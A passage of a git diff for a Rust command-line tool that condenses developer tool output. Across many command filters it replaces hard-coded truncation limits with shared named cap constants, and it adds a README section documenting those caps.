MAX_PRETTIER_FILES { result.push_str(&format!( "\n... +{} more files\n", - files_to_format.len() - 10 + files_to_format.len() - MAX_PRETTIER_FILES )); } diff --git a/src/cmds/jvm/gradlew_cmd.rs b/src/cmds/jvm/gradlew_cmd.rs index ad2a2987e3..68d03acfef 100644 --- a/src/cmds/jvm/gradlew_cmd.rs +++ b/src/cmds/jvm/gradlew_cmd.rs @@ -1,5 +1,6 @@ use crate::core::runner::{self, RunOptions}; use crate::core::stream::StreamFilter; +use crate::core::truncate::CAP_LIST; use crate::core::utils::resolved_command; use anyhow::Result; use lazy_static::lazy_static; @@ -507,13 +508,17 @@ fn filter_dependencies(output: &str) -> String { configs.len() ); + const MAX_GRADLE_DEPS: usize = CAP_LIST; for (config, deps) in &configs { result.push_str(&format!("\n{} ({}):\n", config, deps.len())); - for dep in deps.iter().take(20) { + for dep in deps.iter().take(MAX_GRADLE_DEPS) { result.push_str(&format!(" {}\n", dep)); } - if deps.len() > 20 { - result.push_str(&format!(" ... +{} more\n", deps.len() - 20)); + if deps.len() > MAX_GRADLE_DEPS { + result.push_str(&format!( + " ... +{} more\n", + deps.len() - MAX_GRADLE_DEPS + )); } } diff --git a/src/cmds/python/pip_cmd.rs b/src/cmds/python/pip_cmd.rs index 25f7c3c8ca..037dd58a4b 100644 --- a/src/cmds/python/pip_cmd.rs +++ b/src/cmds/python/pip_cmd.rs @@ -2,6 +2,7 @@ use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::{CAP_INVENTORY, CAP_LIST}; use crate::core::utils::{resolved_command, tool_exists}; use anyhow::{Context, Result}; use serde::Deserialize; @@ -170,7 +171,7 @@ fn filter_pip_list(output: &str) -> String { // visible. The compression here is structural (drop the alignment padding, // group by initial); the per-group cap is just a safety bound for // pathological environments, not a normal-case truncation. - const MAX_PER_LETTER: usize = 50; + const MAX_PER_LETTER: usize = CAP_INVENTORY; for letter in letters { let pkgs = by_letter.get(letter).unwrap(); result.push_str(&format!("\n[{}]\n", letter.to_uppercase())); @@ -204,7 +205,8 @@ fn filter_pip_outdated(output: &str) -> String { result.push_str(&format!("pip outdated: {} packages\n", packages.len())); result.push_str("═══════════════════════════════════════\n"); - for (i, pkg) in packages.iter().take(20).enumerate() { + const MAX_PIP_PACKAGES: usize = CAP_LIST; + for (i, pkg) in packages.iter().take(MAX_PIP_PACKAGES).enumerate() { let latest = pkg.latest_version.as_deref().unwrap_or("unknown"); result.push_str(&format!( "{}. {} ({} → {})\n", @@ -215,8 +217,11 @@ fn filter_pip_outdated(output: &str) -> String { )); } - if packages.len() > 20 { - result.push_str(&format!("\n... +{} more packages\n", packages.len() - 20)); + if packages.len() > MAX_PIP_PACKAGES { + result.push_str(&format!( + "\n... +{} more packages\n", + packages.len() - MAX_PIP_PACKAGES + )); } result.push_str("\n[hint] Run `pip install --upgrade ` to update\n"); diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index 0bd5e9aa61..25cdf4c2d6 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -1,10 +1,12 @@ //! Filters pytest output to show only failures and the summary line. use crate::core::runner; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{resolved_command, tool_exists, truncate}; use anyhow::Result; -const MAX_XFAIL: usize = 10; +const MAX_XFAIL: usize = CAP_WARNINGS; +const MAX_PYTEST_FAILURES: usize = CAP_WARNINGS; #[derive(Debug, PartialEq)] enum ParseState { @@ -225,7 +227,7 @@ fn build_pytest_summary( // Show failures (limit to key information) result.push_str("\nFailures:\n"); - for (i, failure) in failures.iter().take(5).enumerate() { + for (i, failure) in failures.iter().take(MAX_PYTEST_FAILURES).enumerate() { // Extract test name and key error info let lines: Vec<&str> = failure.lines().collect(); @@ -270,8 +272,11 @@ fn build_pytest_summary( } } - if failures.len() > 5 { - result.push_str(&format!("\n… +{} more failures\n", failures.len() - 5)); + if failures.len() > MAX_PYTEST_FAILURES { + result.push_str(&format!( + "\n… +{} more failures\n", + failures.len() - MAX_PYTEST_FAILURES + )); let all_failures = failures.join("\n\n"); if let Some(hint) = crate::core::tee::force_tee_hint(&all_failures, "pytest-failures") { result.push_str(&format!(" {}\n", hint)); diff --git a/src/cmds/python/ruff_cmd.rs b/src/cmds/python/ruff_cmd.rs index 1468483cd4..92c644f076 100644 --- a/src/cmds/python/ruff_cmd.rs +++ b/src/cmds/python/ruff_cmd.rs @@ -2,6 +2,7 @@ use crate::core::config; use crate::core::runner; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{resolved_command, truncate}; use anyhow::Result; use serde::Deserialize; @@ -149,9 +150,11 @@ pub fn filter_ruff_check_json(output: &str) -> String { let mut rule_counts: Vec<_> = by_rule.iter().collect(); rule_counts.sort_by(|a, b| b.1.cmp(a.1)); + const MAX_RUFF_RULES: usize = CAP_WARNINGS; + const MAX_RUFF_FILES: usize = CAP_WARNINGS; if !rule_counts.is_empty() { result.push_str("Top rules:\n"); - for (rule, count) in rule_counts.iter().take(10) { + for (rule, count) in rule_counts.iter().take(MAX_RUFF_RULES) { result.push_str(&format!(" {} ({}x)\n", rule, count)); } result.push('\n'); @@ -159,7 +162,7 @@ pub fn filter_ruff_check_json(output: &str) -> String { // Show top files result.push_str("Top files:\n"); - for (file, count) in file_counts.iter().take(10) { + for (file, count) in file_counts.iter().take(MAX_RUFF_FILES) { let short_path = compact_path(file); result.push_str(&format!(" {} ({} issues)\n", short_path, count)); @@ -177,8 +180,11 @@ pub fn filter_ruff_check_json(output: &str) -> String { } } - if file_counts.len() > 10 { - result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); + if file_counts.len() > MAX_RUFF_FILES { + result.push_str(&format!( + "\n... +{} more files\n", + file_counts.len() - MAX_RUFF_FILES + )); } // List all violations with file:line:col — format compression (JSON → one @@ -267,14 +273,19 @@ pub fn filter_ruff_format(output: &str) -> String { )); result.push_str("═══════════════════════════════════════\n"); - for (i, file) in files_to_format.iter().take(10).enumerate() { + const MAX_RUFF_FORMAT_FILES: usize = CAP_WARNINGS; + for (i, file) in files_to_format + .iter() + .take(MAX_RUFF_FORMAT_FILES) + .enumerate() + { result.push_str(&format!("{}. {}\n", i + 1, compact_path(file))); } - if files_to_format.len() > 10 { + if files_to_format.len() > MAX_RUFF_FORMAT_FILES { result.push_str(&format!( "\n... +{} more files\n", - files_to_format.len() - 10 + files_to_format.len() - MAX_RUFF_FORMAT_FILES )); } diff --git a/src/cmds/ruby/rake_cmd.rs b/src/cmds/ruby/rake_cmd.rs index 76f64db75c..4336b38469 100644 --- a/src/cmds/ruby/rake_cmd.rs +++ b/src/cmds/ruby/rake_cmd.rs @@ -5,9 +5,12 @@ //! Uses `ruby_exec("rake")` to auto-detect `bundle exec`. use crate::core::runner; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{ruby_exec, strip_ansi}; use anyhow::Result; +const MAX_RAKE_FAILURES: usize = CAP_WARNINGS; + /// Decide whether to use `rake test` or `rails test` based on args. /// /// `rake test` only supports a single file via `TEST=path` and ignores positional @@ -198,7 +201,7 @@ fn build_minitest_summary(summary: &str, failures: &[String]) -> String { result.push('\n'); - for (i, failure) in failures.iter().take(10).enumerate() { + for (i, failure) in failures.iter().take(MAX_RAKE_FAILURES).enumerate() { let lines: Vec<&str> = failure.lines().collect(); // First line is like " 1) Failure:" or " 1) Error:" if let Some(header) = lines.first() { @@ -214,13 +217,16 @@ fn build_minitest_summary(summary: &str, failures: &[String]) -> String { )); } } - if i < failures.len().min(10) - 1 { + if i < failures.len().min(MAX_RAKE_FAILURES) - 1 { result.push('\n'); } } - if failures.len() > 10 { - result.push_str(&format!("\n... +{} more failures\n", failures.len() - 10)); + if failures.len() > MAX_RAKE_FAILURES { + result.push_str(&format!( + "\n... +{} more failures\n", + failures.len() - MAX_RAKE_FAILURES + )); } result.trim().to_string() diff --git a/src/cmds/ruby/rspec_cmd.rs b/src/cmds/ruby/rspec_cmd.rs index cd909b3010..46a4bf5639 100644 --- a/src/cmds/ruby/rspec_cmd.rs +++ b/src/cmds/ruby/rspec_cmd.rs @@ -6,12 +6,16 @@ //! fails to parse. use crate::core::runner; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{fallback_tail, ruby_exec, truncate}; use anyhow::Result; use lazy_static::lazy_static; use regex::Regex; use serde::Deserialize; +// rspec failures carry full backtraces — show fewer than a generic warning list. +const MAX_RSPEC_FAILURES: usize = CAP_WARNINGS - 5; + // ── Noise-stripping regex patterns ────────────────────────────────────────── lazy_static! { @@ -224,7 +228,7 @@ fn build_rspec_summary(rspec: &RspecOutput) -> String { result.push_str("\nFailures:\n"); - for (i, example) in failures.iter().take(5).enumerate() { + for (i, example) in failures.iter().take(MAX_RSPEC_FAILURES).enumerate() { result.push_str(&format!( "{}. ❌ {}\n {}:{}\n", i + 1, @@ -251,13 +255,16 @@ fn build_rspec_summary(rspec: &RspecOutput) -> String { } } - if i < failures.len().min(5) - 1 { + if i < failures.len().min(MAX_RSPEC_FAILURES) - 1 { result.push('\n'); } } - if failures.len() > 5 { - result.push_str(&format!("\n... +{} more failures\n", failures.len() - 5)); + if failures.len() > MAX_RSPEC_FAILURES { + result.push_str(&format!( + "\n... +{} more failures\n", + failures.len() - MAX_RSPEC_FAILURES + )); } result.trim().to_string() @@ -347,14 +354,17 @@ fn filter_rspec_text(output: &str) -> String { } let mut result = format!("RSpec: {}\n", summary_line); result.push_str("═══════════════════════════════════════\n\n"); - for (i, failure) in failures.iter().take(5).enumerate() { + for (i, failure) in failures.iter().take(MAX_RSPEC_FAILURES).enumerate() { result.push_str(&format!("{}. ❌ {}\n", i + 1, failure)); - if i < failures.len().min(5) - 1 { + if i < failures.len().min(MAX_RSPEC_FAILURES) - 1 { result.push('\n'); } } - if failures.len() > 5 { - result.push_str(&format!("\n... +{} more failures\n", failures.len() - 5)); + if failures.len() > MAX_RSPEC_FAILURES { + result.push_str(&format!( + "\n... +{} more failures\n", + failures.len() - MAX_RSPEC_FAILURES + )); } return result.trim().to_string(); } diff --git a/src/cmds/rust/cargo_cmd.rs b/src/cmds/rust/cargo_cmd.rs index eee916d2a5..5b8152ce0f 100644 --- a/src/cmds/rust/cargo_cmd.rs +++ b/src/cmds/rust/cargo_cmd.rs @@ -2,6 +2,7 @@ use crate::core::runner; use crate::core::stream::{BlockHandler, BlockStreamFilter, StreamFilter}; +use crate::core::truncate::{CAP_ERRORS, CAP_LIST, CAP_WARNINGS}; use crate::core::utils::{resolved_command, truncate}; use anyhow::Result; use std::cmp::Ordering; @@ -527,7 +528,8 @@ fn filter_cargo_install(output: &str) -> String { } result.push_str("═══════════════════════════════════════\n"); - for (i, err) in errors.iter().enumerate().take(15) { + const MAX_INSTALL_ERRORS: usize = CAP_ERRORS; + for (i, err) in errors.iter().enumerate().take(MAX_INSTALL_ERRORS) { result.push_str(err); result.push('\n'); if i < errors.len() - 1 { @@ -535,8 +537,11 @@ fn filter_cargo_install(output: &str) -> String { } } - if errors.len() > 15 { - result.push_str(&format!("\n… +{} more issues\n", errors.len() - 15)); + if errors.len() > MAX_INSTALL_ERRORS { + result.push_str(&format!( + "\n… +{} more issues\n", + errors.len() - MAX_INSTALL_ERRORS + )); let all_errors = errors.join("\n\n"); if let Some(hint) = crate::core::tee::force_tee_hint(&all_errors, "cargo-build-errors") { @@ -832,15 +837,19 @@ fn filter_cargo_build(output: &str) -> String { "cargo build: {} errors, {} warnings ({} crates)\n═══════════════════════════════════════\n", handler.error_count, handler.warnings, handler.compiled ); - for (i, blk) in blocks.iter().enumerate().take(15) { + const MAX_CHECK_BLOCKS: usize = CAP_ERRORS; + for (i, blk) in blocks.iter().enumerate().take(MAX_CHECK_BLOCKS) { result.push_str(&blk.join("\n")); result.push('\n'); if i < blocks.len() - 1 { result.push('\n'); } } - if blocks.len() > 15 { - result.push_str(&format!("\n… +{} more issues\n", blocks.len() - 15)); + if blocks.len() > MAX_CHECK_BLOCKS { + result.push_str(&format!( + "\n… +{} more issues\n", + blocks.len() - MAX_CHECK_BLOCKS + )); let all_blocks: String = blocks .iter() .map(|b| b.join("\n")) @@ -1041,7 +1050,7 @@ pub(crate) fn filter_cargo_test(output: &str) -> String { if !failures.is_empty() { result.push_str(&format!("FAILURES ({}):\n", failures.len())); result.push_str("═══════════════════════════════════════\n"); - const MAX_FAILURES: usize = 10; + const MAX_FAILURES: usize = CAP_WARNINGS; for (i, failure) in failures.iter().enumerate().take(MAX_FAILURES) { result.push_str(&format!("{}. {}\n", i + 1, truncate(failure, 200))); } @@ -1201,15 +1210,19 @@ fn filter_cargo_clippy(output: &str) -> String { // Show full error blocks so developers can see what needs fixing if !error_blocks.is_empty() { + const MAX_CLIPPY_ERRORS: usize = CAP_WARNINGS; result.push_str("\nErrors:\n"); - for block in error_blocks.iter().take(10) { + for block in error_blocks.iter().take(MAX_CLIPPY_ERRORS) { for block_line in block { result.push_str(&format!(" {}\n", truncate(block_line, 160))); } result.push('\n'); } - if error_blocks.len() > 10 { - result.push_str(&format!(" … +{} more errors\n", error_blocks.len() - 10)); + if error_blocks.len() > MAX_CLIPPY_ERRORS { + result.push_str(&format!( + " … +{} more errors\n", + error_blocks.len() - MAX_CLIPPY_ERRORS + )); let all_blocks: String = error_blocks .iter() .map(|b| b.join("\n")) @@ -1227,7 +1240,7 @@ fn filter_cargo_clippy(output: &str) -> String { let mut rule_counts: Vec<_> = by_rule.iter().collect(); rule_counts.sort_by_key(|b| std::cmp::Reverse(b.1.len())); - const MAX_RULES: usize = 15; + const MAX_RULES: usize = CAP_LIST; for (rule, locations) in rule_counts.iter().take(MAX_RULES) { result.push_str(&format!(" {} ({}x)\n", rule, locations.len())); for loc in locations.iter().take(3) { diff --git a/src/cmds/rust/runner.rs b/src/cmds/rust/runner.rs index 476f906719..8a13c1ce15 100644 --- a/src/cmds/rust/runner.rs +++ b/src/cmds/rust/runner.rs @@ -1,11 +1,15 @@ //! Runs arbitrary commands and captures only stderr or test failures. use crate::core::stream::StreamFilter; +use crate::core::truncate::{CAP_LIST, CAP_WARNINGS}; use anyhow::Result; use lazy_static::lazy_static; use regex::Regex; use std::process::Command; +const MAX_RUNNER_FAILURES: usize = CAP_WARNINGS; +const MAX_RUNNER_LINES: usize = CAP_LIST; + lazy_static! { static ref ERROR_PATTERNS: Vec = vec![ // Generic errors @@ -236,17 +240,23 @@ fn extract_test_summary(output: &str, command: &str) -> String { if !failures.is_empty() { output.push_str("[FAIL] FAILURES:\n"); - for f in failures.iter().take(10) { + for f in failures.iter().take(MAX_RUNNER_FAILURES) { output.push_str(&format!(" {}\n", f)); } - if failures.len() > 10 { - output.push_str(&format!(" ... +{} more failures\n", failures.len() - 10)); + if failures.len() > MAX_RUNNER_FAILURES { + output.push_str(&format!( + " ... +{} more failures\n", + failures.len() - MAX_RUNNER_FAILURES + )); } - for f in failure_lines.iter().take(20) { + for f in failure_lines.iter().take(MAX_RUNNER_LINES) { output.push_str(&format!(" {}\n", f.trim())); } - if failure_lines.len() > 20 { - output.push_str(&format!(" ... +{} more\n", failure_lines.len() - 20)); + if failure_lines.len() > MAX_RUNNER_LINES { + output.push_str(&format!( + " ... +{} more\n", + failure_lines.len() - MAX_RUNNER_LINES + )); } output.push('\n'); } diff --git a/src/cmds/system/deps.rs b/src/cmds/system/deps.rs index 0342b2bef7..dd83a87621 100644 --- a/src/cmds/system/deps.rs +++ b/src/cmds/system/deps.rs @@ -1,11 +1,16 @@ //! Summarizes project dependencies from lock files and manifests. use crate::core::tracking; +use crate::core::truncate::CAP_WARNINGS; use anyhow::Result; use regex::Regex; use std::fs; use std::path::Path; +const MAX_DEPS: usize = CAP_WARNINGS; +// dev deps are secondary to prod — show fewer. +const MAX_DEV_DEPS: usize = CAP_WARNINGS - 5; + /// Summarize project dependencies pub fn run(path: &Path, verbose: u8) -> Result<()> { let timer = tracking::TimedExecution::start(); @@ -107,20 +112,20 @@ fn summarize_cargo_str(path: &Path) -> Result { if !deps.is_empty() { out.push_str(&format!(" Dependencies ({}):\n", deps.len())); - for d in deps.iter().take(10) { + for d in deps.iter().take(MAX_DEPS) { out.push_str(&format!(" {}\n", d)); } - if deps.len() > 10 { - out.push_str(&format!(" ... +{} more\n", deps.len() - 10)); + if deps.len() > MAX_DEPS { + out.push_str(&format!(" ... +{} more\n", deps.len() - MAX_DEPS)); } } if !dev_deps.is_empty() { out.push_str(&format!(" Dev ({}):\n", dev_deps.len())); - for d in dev_deps.iter().take(5) { + for d in dev_deps.iter().take(MAX_DEV_DEPS) { out.push_str(&format!(" {}\n", d)); } - if dev_deps.len() > 5 { - out.push_str(&format!(" ... +{} more\n", dev_deps.len() - 5)); + if dev_deps.len() > MAX_DEV_DEPS { + out.push_str(&format!(" ... +{} more\n", dev_deps.len() - MAX_DEV_DEPS)); } } Ok(out) @@ -138,8 +143,8 @@ fn summarize_package_json_str(path: &Path) -> Result { if let Some(deps) = json.get("dependencies").and_then(|v| v.as_object()) { out.push_str(&format!(" Dependencies ({}):\n", deps.len())); for (i, (name, version)) in deps.iter().enumerate() { - if i >= 10 { - out.push_str(&format!(" ... +{} more\n", deps.len() - 10)); + if i >= MAX_DEPS { + out.push_str(&format!(" ... +{} more\n", deps.len() - MAX_DEPS)); break; } out.push_str(&format!( @@ -152,8 +157,8 @@ fn summarize_package_json_str(path: &Path) -> Result { if let Some(dev_deps) = json.get("devDependencies").and_then(|v| v.as_object()) { out.push_str(&format!(" Dev Dependencies ({}):\n", dev_deps.len())); for (i, (name, _)) in dev_deps.iter().enumerate() { - if i >= 5 { - out.push_str(&format!(" ... +{} more\n", dev_deps.len() - 5)); + if i >= MAX_DEV_DEPS { + out.push_str(&format!(" ... +{} more\n", dev_deps.len() - MAX_DEV_DEPS)); break; } out.push_str(&format!(" {}\n", name)); @@ -181,11 +186,11 @@ fn summarize_requirements_str(path: &Path) -> Result { } out.push_str(&format!(" Packages ({}):\n", deps.len())); - for d in deps.iter().take(15) { + for d in deps.iter().take(MAX_DEPS) { out.push_str(&format!(" {}\n", d)); } - if deps.len() > 15 { - out.push_str(&format!(" ... +{} more\n", deps.len() - 15)); + if deps.len() > MAX_DEPS { + out.push_str(&format!(" ... +{} more\n", deps.len() - MAX_DEPS)); } Ok(out) } @@ -216,11 +221,11 @@ fn summarize_pyproject_str(path: &Path) -> Result { if !deps.is_empty() { out.push_str(&format!(" Dependencies ({}):\n", deps.len())); - for d in deps.iter().take(10) { + for d in deps.iter().take(MAX_DEPS) { out.push_str(&format!(" {}\n", d)); } - if deps.len() > 10 { - out.push_str(&format!(" ... +{} more\n", deps.len() - 10)); + if deps.len() > MAX_DEPS { + out.push_str(&format!(" ... +{} more\n", deps.len() - MAX_DEPS)); } } Ok(out) @@ -259,11 +264,11 @@ fn summarize_gomod_str(path: &Path) -> Result { } if !deps.is_empty() { out.push_str(&format!(" Dependencies ({}):\n", deps.len())); - for d in deps.iter().take(10) { + for d in deps.iter().take(MAX_DEPS) { out.push_str(&format!(" {}\n", d)); } - if deps.len() > 10 { - out.push_str(&format!(" ... +{} more\n", deps.len() - 10)); + if deps.len() > MAX_DEPS { + out.push_str(&format!(" ... +{} more\n", deps.len() - MAX_DEPS)); } } Ok(out) diff --git a/src/cmds/system/env_cmd.rs b/src/cmds/system/env_cmd.rs index 72b20166aa..f131b2634f 100644 --- a/src/cmds/system/env_cmd.rs +++ b/src/cmds/system/env_cmd.rs @@ -1,6 +1,7 @@ //! Filters environment variables, hiding secrets and noise. use crate::core::tracking; +use crate::core::truncate::{CAP_LIST, CAP_WARNINGS}; use anyhow::Result; use std::collections::HashSet; use std::env; @@ -71,11 +72,12 @@ pub fn run(filter: Option<&str>, show_all: bool, verbose: u8) -> Result<()> { // Split PATH for readability let paths: Vec<&str> = v.split(':').collect(); println!(" PATH ({} entries):", paths.len()); - for p in paths.iter().take(5) { + const MAX_PATH_ENTRIES: usize = CAP_WARNINGS; + for p in paths.iter().take(MAX_PATH_ENTRIES) { println!(" {}", p); } - if paths.len() > 5 { - println!(" ... +{} more", paths.len() - 5); + if paths.len() > MAX_PATH_ENTRIES { + println!(" ... +{} more", paths.len() - MAX_PATH_ENTRIES); } } else { println!(" {}={}", k, v); @@ -105,12 +107,13 @@ pub fn run(filter: Option<&str>, show_all: bool, verbose: u8) -> Result<()> { } if !other_vars.is_empty() { + const MAX_OTHER_VARS: usize = CAP_LIST; println!("\nOther:"); - for (k, v) in other_vars.iter().take(20) { + for (k, v) in other_vars.iter().take(MAX_OTHER_VARS) { println!(" {}={}", k, v); } - if other_vars.len() > 20 { - println!(" ... +{} more", other_vars.len() - 20); + if other_vars.len() > MAX_OTHER_VARS { + println!(" ... +{} more", other_vars.len() - MAX_OTHER_VARS); } } diff --git a/src/cmds/system/format_cmd.rs b/src/cmds/system/format_cmd.rs index 6e37c15968..c71dd10723 100644 --- a/src/cmds/system/format_cmd.rs +++ b/src/cmds/system/format_cmd.rs @@ -2,6 +2,7 @@ use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::{package_manager_exec, resolved_command}; use crate::prettier_cmd; use crate::ruff_cmd; @@ -237,14 +238,15 @@ fn filter_black_output(output: &str) -> String { result.push_str("═══════════════════════════════════════\n"); if !files_to_format.is_empty() { - for (i, file) in files_to_format.iter().take(10).enumerate() { + const MAX_FORMAT_FILES: usize = CAP_WARNINGS; + for (i, file) in files_to_format.iter().take(MAX_FORMAT_FILES).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, compact_path(file))); } - if files_to_format.len() > 10 { + if files_to_format.len() > MAX_FORMAT_FILES { result.push_str(&format!( "\n... +{} more files\n", - files_to_format.len() - 10 + files_to_format.len() - MAX_FORMAT_FILES )); } } diff --git a/src/cmds/system/log_cmd.rs b/src/cmds/system/log_cmd.rs index bd76a73b7a..068fcba9e1 100644 --- a/src/cmds/system/log_cmd.rs +++ b/src/cmds/system/log_cmd.rs @@ -1,6 +1,7 @@ //! Deduplicates repeated log lines and shows counts instead. use crate::core::tracking; +use crate::core::truncate::CAP_WARNINGS; use anyhow::Result; use lazy_static::lazy_static; use regex::Regex; @@ -136,7 +137,8 @@ fn analyze_logs(content: &str) -> String { let mut error_list: Vec<_> = error_counts.iter().collect(); error_list.sort_by(|a, b| b.1.cmp(a.1)); - for (normalized, count) in error_list.iter().take(10) { + const MAX_LOG_ERRORS: usize = CAP_WARNINGS; + for (normalized, count) in error_list.iter().take(MAX_LOG_ERRORS) { // Find original message let original = unique_errors .iter() @@ -161,10 +163,10 @@ fn analyze_logs(content: &str) -> String { } } - if error_list.len() > 10 { + if error_list.len() > MAX_LOG_ERRORS { result.push(format!( " ... +{} more unique errors", - error_list.len() - 10 + error_list.len() - MAX_LOG_ERRORS )); } result.push(String::new()); @@ -177,7 +179,9 @@ fn analyze_logs(content: &str) -> String { let mut warn_list: Vec<_> = warn_counts.iter().collect(); warn_list.sort_by(|a, b| b.1.cmp(a.1)); - for (normalized, count) in warn_list.iter().take(5) { + // warnings are lower severity than errors — show fewer. + const MAX_LOG_WARNS: usize = CAP_WARNINGS - 5; + for (normalized, count) in warn_list.iter().take(MAX_LOG_WARNS) { let original = unique_warnings .iter() .find(|w| { @@ -201,10 +205,10 @@ fn analyze_logs(content: &str) -> String { } } - if warn_list.len() > 5 { + if warn_list.len() > MAX_LOG_WARNS { result.push(format!( " ... +{} more unique warnings", - warn_list.len() - 5 + warn_list.len() - MAX_LOG_WARNS )); } } diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index 537e8272fb..f24d4bad7b 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -2,6 +2,7 @@ use super::constants::NOISE_DIRS; use crate::core::runner::{self, RunOptions}; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::resolved_command; use anyhow::Result; use lazy_static::lazy_static; @@ -252,17 +253,19 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { // Summary line (separate so caller can suppress when piped) let mut summary = format!("\nSummary: {} files, {} dirs", files.len(), dirs.len()); if !by_ext.is_empty() { + // inline single-line summary — fewer entries to avoid wrapping. + const MAX_EXT_SUMMARY: usize = CAP_WARNINGS - 5; let mut ext_counts: Vec<_> = by_ext.iter().collect(); ext_counts.sort_by(|a, b| b.1.cmp(a.1)); let ext_parts: Vec = ext_counts .iter() - .take(5) + .take(MAX_EXT_SUMMARY) .map(|(ext, count)| format!("{} {}", count, ext)) .collect(); summary.push_str(" ("); summary.push_str(&ext_parts.join(", ")); - if ext_counts.len() > 5 { - summary.push_str(&format!(", +{} more", ext_counts.len() - 5)); + if ext_counts.len() > MAX_EXT_SUMMARY { + summary.push_str(&format!(", +{} more", ext_counts.len() - MAX_EXT_SUMMARY)); } summary.push(')'); } diff --git a/src/cmds/system/pipe_cmd.rs b/src/cmds/system/pipe_cmd.rs index f4e041d221..6dcc4cdb61 100644 --- a/src/cmds/system/pipe_cmd.rs +++ b/src/cmds/system/pipe_cmd.rs @@ -2,6 +2,11 @@ use anyhow::Result; use std::io::Read; use crate::core::stream::RAW_CAP; +use crate::core::truncate::{CAP_LIST, CAP_WARNINGS}; + +const MAX_PIPE_MATCHES: usize = CAP_WARNINGS; +const MAX_PIPE_FILES: usize = CAP_WARNINGS; +const MAX_PIPE_DIRS: usize = CAP_LIST; pub fn resolve_filter(name: &str) -> Option String> { match name { @@ -78,11 +83,11 @@ fn grep_wrapper(input: &str) -> String { for (file, matches) in files { out.push_str(&format!("[file] {} ({}):\n", file, matches.len())); - for (line_num, content) in matches.iter().take(10) { + for (line_num, content) in matches.iter().take(MAX_PIPE_MATCHES) { out.push_str(&format!(" {:>4}: {}\n", line_num, content.trim())); } - if matches.len() > 10 { - out.push_str(&format!(" +{}\n", matches.len() - 10)); + if matches.len() > MAX_PIPE_MATCHES { + out.push_str(&format!(" +{}\n", matches.len() - MAX_PIPE_MATCHES)); } out.push('\n'); } @@ -117,18 +122,18 @@ fn find_wrapper(input: &str) -> String { let mut dirs: Vec<_> = by_dir.iter().collect(); dirs.sort_by_key(|(d, _)| *d); - for (dir, files) in dirs.iter().take(20) { + for (dir, files) in dirs.iter().take(MAX_PIPE_DIRS) { out.push_str(&format!("{}/ ({})\n", dir, files.len())); - for f in files.iter().take(10) { + for f in files.iter().take(MAX_PIPE_FILES) { out.push_str(&format!(" {}\n", f)); } - if files.len() > 10 { - out.push_str(&format!(" +{}\n", files.len() - 10)); + if files.len() > MAX_PIPE_FILES { + out.push_str(&format!(" +{}\n", files.len() - MAX_PIPE_FILES)); } } - if dirs.len() > 20 { - out.push_str(&format!("\n+{} more dirs\n", dirs.len() - 20)); + if dirs.len() > MAX_PIPE_DIRS { + out.push_str(&format!("\n+{} more dirs\n", dirs.len() - MAX_PIPE_DIRS)); } out diff --git a/src/cmds/system/summary.rs b/src/cmds/system/summary.rs index c6e2ec0517..31de537ea0 100644 --- a/src/cmds/system/summary.rs +++ b/src/cmds/system/summary.rs @@ -2,11 +2,15 @@ use crate::core::stream::exec_capture; use crate::core::tracking; +use crate::core::truncate::CAP_WARNINGS; use crate::core::utils::truncate; use anyhow::{Context, Result}; use regex::Regex; use std::process::Command; +const MAX_SUMMARY_LIST: usize = CAP_WARNINGS; +const MAX_SUMMARY_KEYS: usize = CAP_WARNINGS; + /// Run a command and provide a heuristic summary pub fn run(command: &str, verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); @@ -229,11 +233,11 @@ fn summarize_list(output: &str, result: &mut Vec) { let lines: Vec<&str> = output.lines().filter(|l| !l.trim().is_empty()).collect(); result.push(format!("List ({} items):", lines.len())); - for line in lines.iter().take(10) { + for line in lines.iter().take(MAX_SUMMARY_LIST) { result.push(format!(" • {}", truncate(line, 70))); } - if lines.len() > 10 { - result.push(format!(" ... +{} more", lines.len() - 10)); + if lines.len() > MAX_SUMMARY_LIST { + result.push(format!(" ... +{} more", lines.len() - MAX_SUMMARY_LIST)); } } @@ -248,11 +252,11 @@ fn summarize_json(output: &str, result: &mut Vec) { } serde_json::Value::Object(obj) => { result.push(format!(" Object with {} keys:", obj.len())); - for key in obj.keys().take(10) { + for key in obj.keys().take(MAX_SUMMARY_KEYS) { result.push(format!(" • {}", key)); } - if obj.len() > 10 { - result.push(format!(" ... +{} more keys", obj.len() - 10)); + if obj.len() > MAX_SUMMARY_KEYS { + result.push(format!(" ... +{} more keys", obj.len() - MAX_SUMMARY_KEYS)); } } _ => { diff --git a/src/core/README.md b/src/core/README.md index 9b8a8a414f..ed7e6ae2cc 100644 --- a/src/core/README.md +++ b/src/core/README.md @@ -123,5 +123,9 @@ For truncation recovery on **success** (e.g., list truncated at 20 items), use ` When the truncated output is a **flat list** and the hidden items start at a predictable line, prefer `tee::force_tee_tail_hint(content, slug, offset)`. It writes the same tee file but emits a directly runnable hint — `[see remaining: tail -n +{offset} ~/path]` — so the agent jumps to exactly the first hidden item without scanning the whole file. The offset is `header_lines + MAX_CAP + 1`. Use `force_tee_hint` instead when the output has multiple sections (e.g. running + stopped containers) and no single offset cleanly covers the gap. +### Truncation Caps (`truncate`) + +`src/core/truncate.rs` defines four global cap policies — `CAP_ERRORS`, `CAP_WARNINGS`, `CAP_LIST`, `CAP_INVENTORY` — for the data classes RTK filters truncate. Each filter binds the right CAP to a local `const MAX_*` so the cap is one named jump away from the call site. These CAPs are the staging point for filter-level cap configuration (planned, not yet implemented): once the config surface lands, overriding `CAP_LIST` in `~/.config/rtk/config.toml` will tune every list filter in one place instead of editing 20+ files. A filter that genuinely needs to deviate uses a small additive offset (`CAP_WARNINGS - 5`) with a one-line reason, so it still moves with the global; bare literals and `*`/`/` scaling are avoided. + ## Adding New 